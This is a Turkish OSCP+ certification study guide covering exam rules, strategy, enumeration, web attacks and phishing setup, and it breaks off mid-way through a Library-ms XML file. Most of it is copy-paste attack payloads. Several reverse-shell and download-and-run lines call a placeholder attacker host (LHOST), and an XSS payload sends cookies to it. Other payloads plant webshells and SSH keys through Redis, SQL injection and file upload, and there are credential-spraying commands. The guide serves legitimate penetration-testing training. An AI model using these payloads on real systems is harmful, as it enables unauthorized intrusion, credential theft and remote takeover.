OSCP PREP · v2.1

OSCP Ultimate Guide

OSCP+ sınavı için uçtan uca, etkileşimli rehber: kurallar ve puanlama, strateji, keşif, web, parolalar, kabuklar, dosya transferi, Linux/Windows yetki yükseltme, Active Directory, pivoting ve rapor.

Her kod bloğu tek tıkla kopyalanır. LHOST değerini sol menüye bir kez gir, tüm komutlarda yerine konsun. Hack The Box ve Proving Grounds makinelerinden lab notlarım blogda.

0. Bu belge nasıl kullanılır

Üç kullanım modu var:

  1. Sınavdan önce: Bölüm 1–2'yi baştan sona oku (kurallar + strateji). Diğer bölümlerde bilmediğin her komutu bir lab makinesinde en az bir kez çalıştır — sınavda ilk kez denenen komut, çalışmayan komuttur.
  2. Sınav sırasında: Bölüm 3–11 kopyala-yapıştır içindir. Her kod bloğunun sağ üstünde Kopyala düğmesi var.
  3. Takıldığında: 30 dakika kuralı, Linux karar tablosu, Windows karar tablosu ve AD karar ağacı.

Değişkenler. Bütün komutlar aşağıdaki değişkenleri kullanır; sabit IP yoktur. Her yeni hedefte sadece IP'yi değiştir.

# ~/exam/vars.sh  →  her tmux penceresinde:  source ~/exam/vars.sh
export LHOST=$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)   # senin VPN IP'n
export LPORT=443
export IP=192.168.x.x                 # o anki hedef
export DC=10.10.x.x DOMAIN=corp.local USER=user PASS='Passw0rd!'

Hedef tarafında (Windows/Linux kabuğunda) değişken yoktur: oraya yapıştıracağın komutlarda LHOST geçen yerleri kendi IP'nle değiştir. Açılı ayraçlı her şey (<NTLM>, <PID>) elle doldurulur.


1. OSCP+ sınav kuralları ve puanlama

Kurallar değişir — sınavdan önce resmi kılavuzu oku

Bu bölüm 31 Ekim 2026'da resmi OSCP+ Exam Guide (help.offsec.com, aynı gün güncellenmiş sürüm), OSCP+ Scoring Update blog yazısı ve Equated Scaled Scoring FAQ ile karşılaştırılarak doğrulandı. OffSec kuralları sık günceller: sınavdan 1 hafta önce bu sayfaları yeniden oku. Bu belge ile çelişirse resmi kılavuz geçerlidir.

1 Aralık 2026'dan itibaren puanlama değişiyor

1 Aralık 2026 08:00 GMT ve sonrasında başlayan sınavlarda equated scaled scoring kullanılıyor. OffSec'e göre artık "70 puanı ya da başka herhangi bir ham puanı geçme hedefi olarak kullanmamalısın"; ham puan tek başına geçip geçmediğini belirlemez. Sonuç notlandırmadan sonra bildirilir. Yayımlanmış sayısal bir geçme eşiği yok (internette dolaşan "500 üzerinden 400" gibi rakamlar resmi değil). Sınav içeriği, makine yapısı, süre, kanıt ve rapor kuralları değişmiyor. 30 Kasım 2026'ya kadar girilen sınavlarda eski kural geçerli: 100 üzerinden 70. 1 Aralık'tan önce planlanmış bir sınavı o tarihten sonraya ertelersen yeni yöntemle puanlanırsın. Pratik sonuç: iki durumda da hedef aynı — olabildiğince çok makine + kusursuz rapor, ve puanın yettiğini düşünsen bile raporu mutlaka gönder.

1.1 Sınav yapısı

Kalem Değer
Süre 23 saat 45 dakika (gözetmenli)
Rapor Sınav bittikten sonra ayrıca 24 saat
Bağımsız makine 3 adet × 20 puan (10 local.txt + 10 proof.txt)
AD seti 3 makine = 40 ham puan (makine #1: 10, #2: 10, #3: 20)
AD başlangıcı Varsayılan ihlal (assumed breach): bir kullanıcı adı + parola verilir
Toplam / geçme 100 ham puan. 30 Kasım 2026'ya kadar: 70 ile geçilir. 1 Aralık 2026'dan itibaren: ölçekli puanlama, sabit ham puan eşiği yok (yukarıdaki uyarı)
Bonus puan Yok. 1 Kasım 2024'te kaldırıldı.
Revert Kontrol panelinden en fazla 24; sınav sırasında bir kez sıfırlatılabilir
Kısmi puan Bağımsız makinelerde kılavuzda açıkça var (kısmi ve tam yetki). AD için kılavuz sadece makine başına puanı listeliyor; kısmi puanı ayrıca belirtmiyor

1.2 70 puanın matematiği (30 Kasım 2026'ya kadarki sınavlar)

Bu tablo eski 70/100 kuralına göre. 1 Aralık 2026 ve sonrasında sabit bir eşik yok, ama tablo hangi kombinasyonların "güçlü" olduğunu göstermesi açısından yine de yol gösterir.

Geçen kombinasyonlar (bonus yok):

Profil Hesap Toplam
AD tam + 1,5 bağımsız 40 + 20 + 10 70 ✅
AD tam + 2 bağımsız 40 + 20 + 20 80 ✅
3 bağımsız tam + AD'de 1 makine 60 + 10 70 ✅
3 bağımsız tam + AD'de 2 makine 60 + 20 80 ✅
Sadece AD tam 40 ❌
Sadece 3 bağımsız tam 60 ❌

Sonuç: Tek bir alanla geçilmez. En güvenli yol AD setini bitirmek ve üstüne en az 30 puan bağımsız makineden almaktır. Bağımsız makinelerde initial access (local.txt) genellikle privesc'ten kolaydır — üç makinenin üçünde de local.txt almak 30 puandır.

1.3 Yasaklar ve kısıtlamalar (puanını sıfırlayabilecek şeyler)

Kural Pratikte anlamı
Metasploit sadece 1 makinede exploit/auxiliary/post modülleri ve Meterpreter yalnızca seçtiğin tek bir hedefte. check komutu da kullanım sayılır (önce hepsinde dene, sonra seç olmaz). Başladığın an o hedefe kilitlenirsin; saldırı başarısız olsa bile başka hedefte kullanamazsın. Metasploit ile pivot yapılamaz (birden fazla hedefte kullanım sayılır).
msfvenom ve multi/handler Her makinede serbest. Meterpreter payload'ı ise yukarıdaki tek-hedef kuralına tabi.
Otomatik sömürü araçları yasak sqlmap, sqlninja, db_autopwn, browser_autopwn vb. SQLi'yi manuel yapmayı bil.
Toplu zafiyet tarayıcıları yasak Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT vb. Serbest örnekler: Nmap (NSE dahil), Nikto, Burp Free, DirBuster
Yasaklı işlevi olan diğer araçlar Başka bir aracın yasaklı/kısıtlı işlevi kullanan özelliği de yasak (ör. bir aracın içindeki otomatik sömürü modülü)
Spoofing yasak ARP / DNS / NBNS / LLMNR zehirleme. Responder ile poisoning yapma.
Ticari araçlar yasak Burp Suite Pro, Cobalt Strike, Metasploit Pro vb. Burp Community serbest.
AI / LLM yasak OffSec KAI, ChatGPT, Deepseek, Gemini, Claude vb. "kesinlikle yasak" — rapor yazarken de. Notion, Google AI Overview gibi araçlardaki yerleşik AI özelliklerini kapatman gerekmiyor (ayrıntı: "AI Usage Policy in OffSec Exams").
İletişim Başkasıyla konuşmak, forum/discord'a yazmak yasak.

Bu tabloyla çelişen teknikler (sqlmap, Responder, Meterpreter'ın birden fazla makinede kullanımı) bu belgede ya hiç yer almaz ya da "sınavda yasak/kısıtlı" etiketiyle geçer.

1.4 Puanın verilme koşulları

  • local.txt / proof.txt hedef üzerinde etkileşimli bir kabukta, dosyanın kendi konumundan cat / type ile okunmalı. Başka yolla elde edilen kanıt o hedef için sıfır puan demektir — kılavuz açıkça "her tür web tabanlı shell"i de buna dahil ediyor (LFI/SQLi ile dosya okuma da geçmez).
  • proof.txt için kabuk yetkisi: Linux'ta root, Windows'ta SYSTEM / Administrator / yönetici yetkili kullanıcı. proof.txt /root/ ya da Administrator masaüstündedir; local.txt yetkisiz bir hesapla okunabilir.
  • Ekran görüntüsünde flag içeriği + hedefin IP adresi (ipconfig / ifconfig / ip addr) zorunlu. Ekran görüntüsü yoksa o hedef için sıfır puan. (whoami/id ve hostname'i de eklemek kanıtı güçlendirir.)
  • Flag'i sınav bitmeden Exam Control Panel'e gir. Panel girdiğin değerin doğru olup olmadığını göstermez — kopyala-yapıştır hatasına dikkat.
  • Her makinenin tam puan hedefleri kontrol panelinde yazar; sınav başında oku.
  • Rapordaki adımlar, teknik bir okuyucunun adım adım tekrarlayabileceği kadar ayrıntılı olmalı. Kılavuz: "dokümantasyon gereksinimleri çok katıdır"; yetersiz dokümantasyon puanı düşürür ya da sıfırlar.

Tek karede tüm kanıt:

# Linux
hostname; id; ip a | grep inet; cat /root/proof.txt
# Windows (cmd)
hostname & whoami & ipconfig | findstr IPv4 & type C:\Users\Administrator\Desktop\proof.txt

1.5 Sık yapılan puan kaybı hataları

  • Flag'i web shell'den okumak (etkileşimli kabuk değil).
  • Ekran görüntüsünde IP/hostname yok.
  • Flag'i panele girmeyi unutmak, ya da iki makinenin flag'ini karıştırmak (her flag'i hostname ile birlikte not et).
  • Metasploit/Meterpreter'ı farkında olmadan ikinci bir makinede kullanmak.
  • Exploit'i değiştirdiğin hâlde değişikliği rapora yazmamak (hangi satır, neden).
  • Kontrol panelinin flag'i "doğruladığını" sanmak (doğrulamaz).
  • Puanın yettiğini düşünüp raporu göndermemek (OffSec: puanın ne olursa olsun raporu gönder).

2. Strateji, zaman ve not disiplini

2.1 Zaman planı (09:00 başlangıç örneği)

Saat İş
08:15–09:00 Gözetmen kontrolü, VPN, vars.sh, tmux, not şablonları
09:00–13:00 AD seti (verilen kullanıcıyla enum → makine 1 → makine 2 → DC)
13:00–13:45 Ara: yemek, ekrandan uzak
13:45–17:45 Bağımsız makine A ve B — her birine en fazla 2 saat, sonra park et
17:45–18:30 Ara
18:30–21:30 Bağımsız makine C + park edilenlere ikinci tur
21:30–22:00 Puan kontrolü: hangi flag'ler panelde? Ekran görüntüleri tam mı?
22:00–03:00 Eksik privesc'ler / takılanlar
03:00–07:00 Uyku (alarm kur; gözetmene ara verdiğini bildir)
07:00–08:45 Taze kafayla son deneme + eksik ekran görüntüleri + notları toparla
  • Rapor için ayrıca 24 saatin var; sınavın son saatlerini rapor yazmaya değil, kanıt toplamaya harca. Sınav bitince makinelere erişim kesilir — eksik ekran görüntüsü sonradan alınamaz.
  • Ciddi bir puan biriktirdiğinde (eski kurala göre 70): dur, tüm kanıtları ve panel girişlerini ikinci kez kontrol et, sonra devam et. 1 Aralık 2026 sonrası sabit eşik olmadığından "yeter" diye bırakma; süre varsa devam et.
  • Her ara için gözetmene sohbetten haber ver.

2.2 Ortam kurulumu (bir kez)

mkdir -p ~/exam/{recon,exploits,loot,notes,screens,tools}
cd ~/exam && tmux new -s exam
# Pencere düzeni:  0: http.server   1: listener   2: komutlar   3: notlar
# Ctrl+b c  yeni pencere   Ctrl+b n/p  geçiş   Ctrl+b %  dikey böl
script -a ~/exam/notes/session-$(date +%F).log      # tüm terminal kaydı

Önceden indir, ~/exam/tools/ altında hazır tut (sınavda GitHub'a gitmekle vakit kaybetme):

Linux Windows AD / pivot
linpeas.sh, pspy64, lse.sh winPEASx64.exe, winPEAS.bat, PowerUp.ps1, SharpUp.exe SharpHound.exe/.ps1, PowerView.ps1, Rubeus.exe
linux-exploit-suggester.sh PrintSpoofer64.exe, GodPotato-NET4.exe, JuicyPotatoNG.exe mimikatz.exe (x64), RunasCs.exe
socat (statik), nc (statik) nc64.exe, accesschk64.exe, Seatbelt.exe chisel (linux+windows), ligolo-ng proxy + agent (linux+windows)

2.3 Not şablonu (her hedef için kopyala)

# <IP> — <hostname> — <OS>
## Portlar / servisler
## Bulunan kimlik bilgileri
| kullanıcı | parola / hash | kaynak | nerede denendi | sonuç |
## Denenen yollar
- [x] /admin login — default creds OLMADI
- [ ] SMB share "backup" — indirilmedi
## Initial access   (komutlar + değiştirilen exploit satırları)
## Privesc          (komutlar)
## Flagler          local: ____ (panelde ✔)   proof: ____ (panelde ✔)
## Ekran görüntüleri  01-<host>-local.png ...

Rapor bu notların temizlenmiş hâlidir. Sonuç üreten her komutu (ve exploit'te değiştirdiğin her satırı) buraya yapıştır.

2.4 30 dakika kuralı (kilitlenme protokolü)

30 dakikadır yeni bilgi (port, dizin, kullanıcı, hata mesajı, kimlik) yoksa:

  1. Dur. 2 dakika ekrandan kalk.
  2. Tam TCP taraması bitti mi? -p- sonuçlarını gerçekten okudun mu? UDP (161!) baktın mı?
  3. Her servisin tam sürümünü yaz ve searchsploit + Google'da tek tek ara.
  4. Web: kaynak kod, JS dosyaları, yorumlar, /.git/, yedek dosyalar, vhost, farklı uzantılar (-x php,txt,bak,zip).
  5. Elindeki her kimlik bilgisini her serviste denedin mi? (bkz. 2.5) Kullanıcı adını parola olarak denedin mi?
  6. Daha önce "boş" dediğin şeye geri dön (anonim FTP'deki bir dosya, SMB'deki bir share).
  7. Hâlâ yoksa: park et, başka makineye geç. Batık maliyet tuzağına düşme.

2.5 Kimlik bilgisi yeniden kullanım matrisi

Yeni bir parola/hash bulduğun an:

Bulunan Hemen dene
Herhangi bir parola Bilinen tüm kullanıcılarla SSH, SMB, WinRM, RDP, MSSQL, web login, su
Web / CMS admin Aynı parola ile SSH ve DB; admin paneldeki RCE özellikleri
DB parolası (config dosyası) DB'deki kullanıcı tablosu (hash'ler), aynı parola ile SSH / su
id_rsa chmod 600; tüm kullanıcılarla dene; passphrase varsa ssh2john
NTLM hash Kırmadan önce Pass-the-Hash: nxc smb/winrm, evil-winrm -H, impacket-*exec -hashes
Yerel Administrator hash nxc smb <subnet> -u administrator -H <NTLM> --local-auth (yerel admin parolası tekrar kullanımı)
Kerberoast / AS-REP hash hashcat -m 13100 / -m 18200 → parola → her yerde dene
.kdbx (KeePass) keepass2john → kır → içindeki tüm parolalar
Domain kullanıcı listesi Bulduğun parolaları bu listeye spray et (kilitlenme politikasına dikkat)
# Tek komutla toplu deneme (kullanıcılar ve parolalar dosyada)
nxc smb $IP   -u users.txt -p passwords.txt --continue-on-success
nxc winrm $IP -u users.txt -p passwords.txt --continue-on-success
nxc ssh $IP   -u users.txt -p passwords.txt --continue-on-success
nxc rdp $IP   -u users.txt -p passwords.txt --continue-on-success
nxc mssql $IP -u users.txt -p passwords.txt --continue-on-success

(Pwn3d!) ne demek?

nxc çıktısında (Pwn3d!) görüyorsan o kullanıcı o makinede yerel admindir (SMB) veya komut çalıştırabilir (WinRM). Doğrudan impacket-psexec / evil-winrm ile gir.


3. Keşif ve servis enumerasyonu

3.1 Nmap — tek akış

cd ~/exam/recon
# 1) Tüm TCP portları (arka planda başlat, beklerken web'e bak)
sudo nmap -p- --min-rate 5000 -Pn -oN $IP-all.txt $IP
# 2) Açık portlarda sürüm + varsayılan script
PORTS=$(grep -oP '^\d+(?=/tcp\s+open)' $IP-all.txt | paste -sd,)
sudo nmap -sC -sV -p$PORTS -Pn -oA $IP-svc $IP
# 3) UDP (SNMP, TFTP, DNS için mutlaka)
sudo nmap -sU --top-ports 50 -Pn --open -oN $IP-udp.txt $IP
Durum Ne yap
--min-rate 5000 port kaçırıyor gibi -T4 --max-retries 2 ile tekrar, ya da rustscan -a $IP -- -sC -sV
Tüm portlar filtered -Pn var mı? Daha yavaş: -T3; ICMP kapalı olabilir
Garip servis nmap -sV --version-all -p<port>, nc -nv $IP <port> ile banner
Sadece birkaç port Saldırı yüzeyi az demek: o servisleri çok derin incele

Faydalı NSE: --script vuln (genel), smb-vuln-ms17-010, http-enum, ftp-anon, nfs-showmount, snmp-*.

3.2 Port → ilk yapılacaklar

Port Servis İlk kontrol
21 FTP anonymous, yazma izni (web köküyse → shell), sürüm CVE
22 SSH bulunan anahtar/parolalar; nadiren CVE
25/587 SMTP VRFY/RCPT kullanıcı enum; istemci saldırısı için e-posta gönderimi
53 DNS zone transfer (AXFR), alt alan adları
80/443/8080… HTTP Bölüm 4
88 Kerberos DC işareti; kerbrute userenum, AS-REP
111/2049 NFS showmount -e, no_root_squash
135/139/445 RPC/SMB null/guest oturum, share'ler, RID brute, imzalama
161/udp SNMP public community, kullanıcılar, süreç argümanlarında parolalar
389/636/3268 LDAP anonim bind, kullanıcı açıklamalarında parola
1433 MSSQL sa / domain auth, xp_cmdshell, xp_dirtree
3306 MySQL root boş parola, INTO OUTFILE, UDF
3389 RDP bulunan kimliklerle giriş (GUI → daha kolay privesc enum)
5432 PostgreSQL postgres:postgres, COPY ... FROM PROGRAM → RCE
5985/5986 WinRM evil-winrm (parola veya hash)
6379 Redis auth yok → web kökü/SSH anahtarı/cron yazma
27017 MongoDB auth yok mu

3.3 FTP (21)

ftp anonymous@$IP                 # parola: boş veya anonymous
# ftp>  passive / binary / ls -la / get dosya / put test.txt
wget -m --no-passive ftp://anonymous:anonymous@$IP     # her şeyi indir
nmap -p21 --script ftp-anon,ftp-syst $IP

3.4 SMB / RPC (139, 445)

# Null ve guest oturumu
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u 'guest' -p '' --shares
smbclient -N -L //$IP
smbmap -H $IP -u guest

# Kullanıcı listesi: RID brute (guest/null çalışıyorsa çok değerli)
nxc smb $IP -u guest -p '' --rid-brute 4000 | grep SidTypeUser
impacket-lookupsid guest@$IP -no-pass

# Genel enum
enum4linux-ng -A $IP
rpcclient -U '' -N $IP        # > enumdomusers  > querydispinfo (açıklamalarda parola!)

# Share'i tümden indir
smbclient //$IP/share -N -c 'prompt OFF; recurse ON; mget *'
# veya kimlikle, tüm okunabilir share'lerden dosya avla
nxc smb $IP -u $USER -p $PASS -M spider_plus -o DOWNLOAD_FLAG=True
Bulgu Anlamı
READ share Config, script, yedek, .kdbx, .xml (GPP) ara
WRITE share Web köküyse shell; kullanıcıların açtığı bir share ise .lnk/.url ile NetNTLMv2 yakalama (sadece kendi impacket-smbserver'ınla, spoofing değil)
signing:False Relay mümkün (sınav dışı ileri teknik, bkz. 10.10)

3.5 SNMP (161/udp)

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP
snmpwalk -v2c -c public $IP | tee snmp.txt
snmpbulkwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects   # özel script çıktıları (parola!)
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.5    # süreç argümanları
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25     # Windows kullanıcıları
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3.1.2    # kurulu yazılımlar

3.6 LDAP / Kerberos (389, 88)

ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName description
# Kimlikle
nxc ldap $IP -u $USER -p $PASS --users            # açıklama alanlarını oku
# Kullanıcı adı doğrulama (kimlik gerekmez)
kerbrute userenum -d $DOMAIN --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

3.7 NFS, SMTP, DNS, veritabanları, Redis

# NFS
showmount -e $IP
sudo mount -t nfs -o vers=3,nolock $IP:/export /mnt/nfs     # sonra ls -lan
# SMTP kullanıcı enum
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
# DNS
dig axfr @$IP $DOMAIN
# MySQL
mysql -h $IP -u root -p --skip-ssl
# MSSQL
impacket-mssqlclient $USER:$PASS@$IP -windows-auth       # domain hesabı
impacket-mssqlclient sa:$PASS@$IP                        # SQL hesabı
# PostgreSQL → RCE (superuser ise)
psql -h $IP -U postgres
#   CREATE TABLE c(o text); COPY c FROM PROGRAM 'id'; SELECT * FROM c;
# Redis
redis-cli -h $IP info

Redis (auth yok) → web shell veya SSH anahtarı:

redis-cli -h $IP config set dir /var/www/html
redis-cli -h $IP config set dbfilename shell.php
redis-cli -h $IP set x '<?php system($_GET["c"]); ?>'
redis-cli -h $IP save
# SSH anahtarı (redis kullanıcısının ev dizini veya /root/.ssh yazılabiliyorsa)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h $IP -x set k
redis-cli -h $IP config set dir /var/lib/redis/.ssh
redis-cli -h $IP config set dbfilename authorized_keys
redis-cli -h $IP save

4. Web uygulamaları

4.1 Web öncelik sırası

  1. Sayfayı bir kullanıcı gibi gez (Burp Community açık, proxy geçmişi kayıtta). Kaynak kod, yorumlar, JS dosyaları.
  2. Teknoloji: whatweb -a 3 http://$IP, response header'ları, cookie adları, hata sayfası. Sürüm numarası bulursan hemen exploit ara.
  3. /robots.txt, /sitemap.xml, /.git/HEAD, /.env, /backup, /admin.
  4. Dizin/dosya keşfi (uzantılarla) ve vhost keşfi.
  5. Login varsa: default kimlikler → kullanıcı enum → SQLi → zayıf parola brute.
  6. Her parametre: SQLi, LFI/traversal, komut enjeksiyonu, SSTI.
  7. Dosya yükleme varsa: uzantı/içerik bypass.

4.2 İçerik ve vhost keşfi

W=/usr/share/seclists/Discovery/Web-Content
feroxbuster -u http://$IP -w $W/raft-medium-directories.txt -x php,txt,html,bak,zip -t 50 -o ferox.txt
ffuf -u http://$IP/FUZZ -w $W/raft-medium-files.txt -ac                   # dosyalar
gobuster dir -u http://$IP -w $W/directory-list-2.3-medium.txt -x php,txt -t 40 -b 404,403

# vhost (önce /etc/hosts'a ekle: echo "$IP site.htb" | sudo tee -a /etc/hosts)
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac

# Parametre keşfi
ffuf -u "http://$IP/page.php?FUZZ=test" -w $W/burp-parameter-names.txt -ac

-ac (otomatik kalibrasyon) yanlış pozitifleri ayıklar; yetmezse -fs <boyut>, -fc 404, -fw <kelime> ile manuel filtrele.

Açık .git bulursan:

git-dumper http://$IP/.git ./repo && cd repo
git log -p | grep -iE 'pass|secret|key|token' ; git show <commit>

4.3 Varsayılan kimlik bilgileri

Uygulama Dene
Tomcat Manager tomcat:s3cret, tomcat:tomcat, admin:admin
Jenkins admin:admin, kayıt açık mı
phpMyAdmin / MySQL root: (boş), root:root
Grafana / Zabbix / GLPI admin:admin, Admin:zabbix, glpi:glpi
MSSQL sa: (boş), sa:sa
Genel admin:admin, admin:password, kullanıcı adı = parola, ürün adı = parola

Bilinmeyen ürün: "<ürün adı> default password" diye ara.

4.4 SQL Injection (manuel — sqlmap sınavda yasak)

Tespit:

'
' OR 1=1-- -
' AND 1=1-- -     ↔     ' AND 1=2-- -     -- sayfa değişiyor mu? (boolean)
' AND SLEEP(5)-- -                         -- MySQL time-based
'; WAITFOR DELAY '0:0:5'-- -               -- MSSQL
'; SELECT pg_sleep(5)-- -                  -- PostgreSQL

UNION ile veri çekme (MySQL):

' ORDER BY 1-- -                    -- hata verene kadar artır → kolon sayısı N
' UNION SELECT 1,2,3,4-- -          -- ekranda görünen kolonu bul
' UNION SELECT 1,database(),user(),@@version-- -
' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users-- -

Dosya okuma/yazma → RCE (MySQL, FILE yetkisi):

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
' UNION SELECT 1,'<?php system($_GET["c"]); ?>',3,4 INTO OUTFILE '/var/www/html/s.php'-- -

MSSQL → komut çalıştırma (stacked query):

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(IWR http://LHOST/rev.ps1 -UseBasicParsing)"';-- -

PostgreSQL → komut:

'; CREATE TABLE c(o text); COPY c FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/LHOST/443 0>&1"';-- -

Kör (blind) SQLi'de veriyi karakter karakter çek: ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -. Bunu Burp Intruder (Community) veya kısa bir Python döngüsüyle otomatikleştirmek kendi script'in olduğu için serbesttir.

4.5 Directory traversal / LFI / RFI

../../../../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
C:\Windows\System32\drivers\etc\hosts      (Windows: ..\..\..\  dene)
php://filter/convert.base64-encode/resource=index.php    → kaynak kodu oku
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id

Okunacak değerli dosyalar: /home/*/.ssh/id_rsa, /var/www/html/config.php, wp-config.php, /etc/apache2/sites-enabled/000-default.conf, C:\inetpub\wwwroot\web.config, C:\xampp\apache\conf\httpd.conf, C:\Users\<user>\.ssh\id_rsa.

Log poisoning (LFI → RCE):

curl -s "http://$IP/" -A '<?php system($_GET["c"]); ?>'
curl "http://$IP/index.php?page=/var/log/apache2/access.log&c=id"
# Windows XAMPP: C:\xampp\apache\logs\access.log

RFI (allow_url_include=On ise): ?page=http://LHOST/shell.php&c=id (Kali'de python3 -m http.server 80).

4.6 Dosya yükleme bypass

shell.php  shell.phtml  shell.php5  shell.phar  shell.pHp       (uzantı listesi)
shell.php.jpg  shell.jpg.php                                    (çift uzantı)
Content-Type: image/jpeg    + gövde başına  GIF89a;             (MIME/magic)
.htaccess  →  AddType application/x-httpd-php .xyz              (sonra shell.xyz yükle)
shell.aspx / shell.asp / web.config                             (IIS)

Yükleme sonrası: dosya nereye gitti? (/uploads/, yanıt içindeki URL). Çalışmıyorsa: dosya adı değiştiriliyor mu, path traversal ile farklı dizine yazılabiliyor mu (../../shell.php)? SSH anahtarını ../../../../root/.ssh/authorized_keys olarak yazmak klasik bir PEN-200 senaryosudur.

Minimal webshell'ler:

<?php system($_GET['c']); ?>
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>

Kali'de hazır: /usr/share/webshells/ (php, asp, aspx, jsp) ve /usr/share/laudanum/.

4.7 Komut enjeksiyonu

; id    | id    || id    & id    && id    $(id)    `id`    %0aid

Kör ise: ; sleep 5 veya ; curl http://LHOST/$(whoami) (Kali'de http.server loguna bak) veya ; ping -c 2 LHOST (sudo tcpdump -i tun0 icmp).

Windows'ta komutun cmd mi PowerShell mi çalıştığını anla:

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

Filtre bypass: boşluk yerine ${IFS}; yasaklı kelime için w'h'o'a'm'i; hepsi yasaksa echo <base64> | base64 -d | bash.

4.8 SSTI

${{<%[%'"}}%\.          ← hata veriyorsa şablon motoru var
{{7*7}}  → 49  : Jinja2 / Twig      {{7*'7'}} → 7777777 Jinja2,  49 Twig
${7*7}   → 49  : Freemarker / Velocity
<%= 7*7 %> → 49 : ERB (Ruby)
Jinja2:  {{ lipsum.__globals__["os"].popen("id").read() }}
Twig:    {{['id']|filter('system')}}
Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

4.9 XSS, XXE, SSRF (kısa)

  • XSS (PEN-200 konusu): Admin'in görüntülediği bir alana (User-Agent, yorum, iletişim formu) payload → admin'in cookie'si (HttpOnly değilse) veya admin adına istek (ör. WordPress'te yeni admin kullanıcı oluşturan JS). <script>fetch('http://LHOST/?c='+document.cookie)</script>
  • XXE: <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r> — XML alan her uç noktada, SVG/DOCX yüklemelerinde dene.
  • SSRF: http://127.0.0.1:<port>/ ile iç servisleri tara; Windows'ta \\LHOST\x / http://LHOST ile servis hesabının NetNTLMv2'sini impacket-smbserver / responder -A olmadan yakalamak için kendi SMB sunucunu kullan.

4.10 Bilinen uygulamalar ve klasik CVE'ler

# WordPress
wpscan --url http://$IP -e vp,vt,u --plugins-detection aggressive
#   admin olunca: Appearance → Theme File Editor → 404.php  veya  shell içeren plugin zip yükle
# Tomcat Manager → WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o rev.war
curl -u 'tomcat:s3cret' -T rev.war "http://$IP:8080/manager/text/deploy?path=/rev"
curl http://$IP:8080/rev/
# Jenkins Script Console (/script)
#   println "id".execute().text
# Drupal / Joomla
droopescan scan drupal -u http://$IP ;  joomscan -u http://$IP
Yazılım Sürüm Not
Apache httpd 2.4.49 / 2.4.50 CVE-2021-41773 / 42013 path traversal → RCE (CGI açıksa)
Samba 3.0.20–3.0.25rc3 usermap_script CVE-2007-2447
Samba 3.5.0–4.6.4 SambaCry CVE-2017-7494 (yazılabilir share)
vsftpd 2.3.4 backdoor
Drupal 7.x / 8.x Drupalgeddon2 CVE-2018-7600
Webmin 1.890–1.920 CVE-2019-15107
Windows SMBv1 2008/7 yamasız MS17-010 (EternalBlue)
Grafana 8.0.0–8.3.0 CVE-2021-43798 path traversal
Elasticsearch 1.4.x CVE-2015-1427

4.11 Exploit bulma ve uyarlama

searchsploit "<ürün> <sürüm>"
searchsploit -m <EDB-ID>          # kopyala
searchsploit -x <EDB-ID>          # oku
# GitHub'da: "<CVE> poc" — ama önce kodu OKU

Çalıştırmadan önce her zaman: (1) kodu oku — ne yapıyor, LHOST/LPORT/URL/path nerede? (2) Python 2 mi 3 mü? (3) Hedef sürümle uyumlu mu? (4) Varsayılan kullanıcı/parola/path değiştirilmeli mi? Hata verirse hata mesajını oku: çoğu zaman eksik modül, yanlış path veya HTTPS/HTTP farkıdır. Değiştirdiğin her satırı rapor için not al.

# Windows exploit'i Kali'de derleme
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe          # 64-bit
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32   # 32-bit + winsock

4.12 İstemci tarafı saldırılar (e-posta / phishing senaryosu)

Hedef ortamda SMTP varsa ve "bir kullanıcı e-postaları okuyor" ipucu varsa:

# 1) WebDAV sunucusu
pip3 install wsgidav
mkdir ~/webdav && wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root ~/webdav/

config.Library-ms dosyası (kullanıcı açınca senin WebDAV'ını Explorer'da gösterir):

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name><version>6</version>
<isLibraryPinned>true</isLibraryPinned><iconReference>imageres.dll,-1003</iconReference>
<templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo>
<searchConnectorDescriptionList><searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported>
<simpleLocation><url>http://LHOST</url></simpleLocation>
</searchConnectorDescription></searchConnectorDescriptionList>
